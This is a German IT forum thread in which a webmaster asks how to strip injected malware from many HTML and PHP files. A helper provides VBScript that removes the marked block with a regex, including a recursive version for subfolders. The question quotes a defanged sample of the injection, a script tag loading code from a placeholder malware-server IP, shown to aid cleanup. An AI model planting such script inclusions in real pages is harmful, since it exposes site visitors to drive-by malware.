Top-Themen

AppleEntwicklungHardwareInternetLinuxMicrosoftMultimediaNetzwerkeOff TopicSicherheitSonstige SystemeVirtualisierungWeiterbildungZusammenarbeit

Aktuelle Themen

Administrator.de FeedbackApache ServerAppleAssemblerAudioAusbildungAuslandBackupBasicBatch & ShellBenchmarksBibliotheken & ToolkitsBlogsCloud-DiensteClusterCMSCPU, RAM, MainboardsCSSC und C++DatenbankenDatenschutzDebianDigitiales FernsehenDNSDrucker und ScannerDSL, VDSLE-BooksE-BusinessE-MailEntwicklungErkennung und -AbwehrExchange ServerFestplatten, SSD, RaidFirewallFlatratesGoogle AndroidGrafikGrafikkarten & MonitoreGroupwareHardwareHosting & HousingHTMLHumor (lol)Hyper-VIconsIDE & EditorenInformationsdiensteInstallationInstant MessagingInternetInternet DomäneniOSISDN & AnaloganschlüsseiTunesJavaJavaScriptKiXtartKVMLAN, WAN, WirelessLinuxLinux DesktopLinux NetzwerkLinux ToolsLinux UserverwaltungLizenzierungMac OS XMicrosoftMicrosoft OfficeMikroTik RouterOSMonitoringMultimediaMultimedia & ZubehörNetzwerkeNetzwerkgrundlagenNetzwerkmanagementNetzwerkprotokolleNotebook & ZubehörNovell NetwareOff TopicOpenOffice, LibreOfficeOutlook & MailPapierkorbPascal und DelphiPeripheriegerätePerlPHPPythonRechtliche FragenRedHat, CentOS, FedoraRouter & RoutingSambaSAN, NAS, DASSchriftartenSchulung & TrainingSEOServerServer-HardwareSicherheitSicherheits-ToolsSicherheitsgrundlagenSolarisSonstige SystemeSoziale NetzwerkeSpeicherkartenStudentenjobs & PraktikumSuche ProjektpartnerSuseSwitche und HubsTipps & TricksTK-Netze & GeräteUbuntuUMTS, EDGE & GPRSUtilitiesVB for ApplicationsVerschlüsselung & ZertifikateVideo & StreamingViren und TrojanerVirtualisierungVisual StudioVmwareVoice over IPWebbrowserWebentwicklungWeiterbildungWindows 7Windows 8Windows 10Windows InstallationWindows MobileWindows NetzwerkWindows ServerWindows SystemdateienWindows ToolsWindows UpdateWindows UserverwaltungWindows VistaWindows XPXenserverXMLZusammenarbeit
GELÖST

Per batch Text in HTML und PHP Dateien suchen und ersetzen

Frage Entwicklung HTML

Mitglied: Rene1976

Rene1976 (Level 1) - Jetzt verbinden

29.08.2013 um 15:56 Uhr, 4261 Aufrufe, 7 Kommentare, 4 Danke

Hallo,

ich habe auf unserem Webserver Malware gefunden, die anscheinend viele.html und .php Dateien befallen hat.

Habe die befallenen Dateien alle heruntergeladen und die Teile der Webseite auf "under construction" gesetzt.

Jetzt suche ich ein Programm, dass per batch die Dateien öffnen kann und den gesamten Bereich durch "nichts" ersetzen kann bzw. löschen kann.

Bis jetzt habe ich das Programm Agent Ransack gefunden.
Das konnte mir alle infizierten Dateien finden.
Leider hat das Programm keine suchen und ersetzen Funktion.

Kennt jemand ein visuelles Programm das die Dateien erst auflistet und dann jede Datei nach dem Code durchsuchen kann und vor allem zuverlässig nur dieses Segment löschen kann?

Weiteres Problem dabei:
Der eingeschleuste Code ändern sich auf jeder Seite (es steht immer ein anderer Deep-Link drin, aber immer die gleich IP-Adresse).
Es ist also nicht auf jeder Seite gleich.

Gleich bleibt aber der Anfang und Schluss.

<!123>Inhalt der sich ändert <!123>

Beispiel (verändert - unbrauchbar):

<!--98a55d9688938f1544--><script type='text/javascript' src='http://IP-Adresse-des-Malware-Servers/tmp/jquery.js?Nummer=85&fid=d ...'></script><script type='text/javascript'>if (typeof KDDRTFGEG == weitere Befehle);document.write("weitere Befehle");KDDRTFGEG=true;}</script><!--98a55d9688938f1544-->

Ich brauch also ein Programm das mir zwischen bzw. inklusive Start und Ende alles löscht und vor allem den Rest der Datei unbeschädigt lässt.

Besten Dank für eure Tipps.

Rene
Mitglied: colinardo
29.08.2013 um 16:16 Uhr
Hallo Rene,
und täglich grüßt das Murmeltier
Schau dir mal UltraEdit an.
Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.

Grüße Uwe
Bitte warten ..
Mitglied: Snowman25
29.08.2013 um 16:43 Uhr
Hi Rene1976,

Mir fällt spontan Notepad++ ein. Du musst dann zwar alle Dateien öffnen, aber dann kannst du auch in allen Dateien gleichzeitig suchen und ersetzen (oder dir die Ergebnisse anzeigen lassen und zur entsprechenden Datei + Position springen).

Gruß,
Snowman25
Bitte warten ..
Mitglied: colinardo
29.08.2013, aktualisiert um 17:10 Uhr
Zitat von colinardo:
Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.
Ich geb zu, da war ich wieder mal lazy mit dem Suchverweis

hier ein mögliches VBS-Script dazu:
In Zeile 1 noch den Pfad zu deinen HTML-Dateien eintragen, und den passende Regular Expression String in Zeile 5 anpassen. Wenn du dich mit RegEx noch nicht auskennst kann ich dir gerne einen passenden Pattern zusammenbauen. Der jetzige passt auf dein gepostetes Beispiel. Das Script bearbeitet dann alle Dateien mit den folgenden Endungen (*.html / *.htm / *.php).

01.
strFolder = "C:\HTML-Dateien-Ordner" 
02.
Set fso = WScript.CreateObject("Scripting.Filesystemobject") 
03.
 
04.
Set regex = New RegExp 
05.
regex.Pattern = "<!--98a55d9688938f1544-->.*<!--98a55d9688938f1544-->" 
06.
regex.Global = True 
07.
	 
08.
For Each f In fso.GetFolder(strFolder).Files 
09.
	If LCase(Right(f.Name,4)) = "html" Or LCase(Right(f.Name,3)) = "htm" Or LCase(Right(f.Name,3)) = "php" Then 
10.
		Set objFileRead = fso.OpenTextFile(f.Path,1,-1) 
11.
		strContent = objFileRead.ReadAll() 
12.
		objFileRead.Close 
13.
		If regex.Test(strContent) Then 
14.
			newContent = regex.Replace(strContent,"") 
15.
			Set objFileWrite = fso.OpenTextFile(f.Path,2) 
16.
			objFileWrite.Write(newContent) 
17.
			objFileWrite.Close 
18.
		End If 
19.
	End If 
20.
Next 
21.
MsgBox "Fertig bearbeitet"
Grüße Uwe
Bitte warten ..
Mitglied: Rene1976
30.08.2013 um 12:17 Uhr
Hi Uwe und Snowman25,

danke für eure Antworten.
Ich wollte es zuerst mit Notepad probieren.
Leider musste ich feststellen das unser Newsletter-Archiv auch betroffen ist.

Problem:
Jeder Newsletter wird in einen eigenen Unterordner abgelegt.
Der Name der Newsletterdatei in den jeweiligen Unterordnern ist immer der gleiche.

Frage:
Wie kann man in den oben angegeben Skript alle Ordner mit Unterordner auf einmal durchsuchen und ersetzten?

Sorry, ich kann leider nicht programmieren.

Gruß,

Rene
Bitte warten ..
Mitglied: colinardo
30.08.2013 um 12:27 Uhr
Zitat von Rene1976:
Frage:
Wie kann man in den oben angegeben Skript alle Ordner mit Unterordner auf einmal durchsuchen und ersetzten?

01.
strFolder = "C:\HTML-Dateien-Ordner" 
02.
Set fso = WScript.CreateObject("Scripting.Filesystemobject") 
03.
Set regex = New RegExp 
04.
regex.Pattern = "<!--98a55d9688938f1544-->.*<!--98a55d9688938f1544-->" 
05.
regex.Global = True 
06.
parseFolders fso.GetFolder(strFolder), True 
07.
MsgBox "Fertig bearbeitet" 
08.
 
09.
Function parseFolders(strFldr,boolRecursion) 
10.
	For Each f In strFldr.Files 
11.
		If LCase(Right(f.Name,4)) = "html" Or LCase(Right(f.Name,3)) = "htm" Or LCase(Right(f.Name,3)) = "php" Then 
12.
			Set objFileRead = fso.OpenTextFile(f.Path,1,-1) 
13.
			strContent = objFileRead.ReadAll() 
14.
			objFileRead.Close 
15.
			If regex.Test(strContent) Then 
16.
				newContent = regex.Replace(strContent,"") 
17.
				Set objFileWrite = fso.OpenTextFile(f.Path,2) 
18.
				objFileWrite.Write(newContent) 
19.
				objFileWrite.Close 
20.
			End If 
21.
		End If 
22.
	Next 
23.
	 
24.
	If boolRecursion Then 
25.
		For Each subFolder in strFldr.SubFolders 
26.
			parseFolders subFolder, True 
27.
		Next 
28.
	End If 
29.
End Function
Grüße Uwe
Bitte warten ..
Mitglied: Rene1976
30.08.2013 um 12:54 Uhr
Danke Uwe.

Das ging aber schnell.

Ich werde es heute noch ausprobieren.

Bis dann.

Rene
Bitte warten ..
Mitglied: Rene1976
30.08.2013 um 16:08 Uhr
Hi Uwe,

danke für dein neues Skript.
Im Test hat es wunderbar funktioniert.

Bin gerade dabei alles wieder zu bereinigen.

Bis dann und schönes Wochenende.

Rene
Bitte warten ..
Neuester Wissensbeitrag
CPU, RAM, Mainboards

Angetestet: PC Engines APU 3a2 im Rack-Gehäuse

Erfahrungsbericht von ashnod zum Thema CPU, RAM, Mainboards ...

Ähnliche Inhalte
Batch & Shell
Suchen, Ersetzen und Entfernen von Dateiinhalten auf Textbasis (1)

Frage von DanteManor zum Thema Batch & Shell ...

Batch & Shell
gelöst Suchen und Ersetzen mehrerer Suchbegriffe per Batch (4)

Frage von makroll10 zum Thema Batch & Shell ...

Heiß diskutierte Inhalte
Grafikkarten & Monitore
Win 10 Grafikkarte Crash von Software? (13)

Frage von Marabunta zum Thema Grafikkarten & Monitore ...

DSL, VDSL
DSL-Signal bewerten (10)

Frage von SarekHL zum Thema DSL, VDSL ...

Windows Server
Mailserver auf Windows Server 2012 (8)

Frage von StefanT81 zum Thema Windows Server ...

Backup
Clients als Server missbrauchen? (8)

Frage von 1410640014 zum Thema Backup ...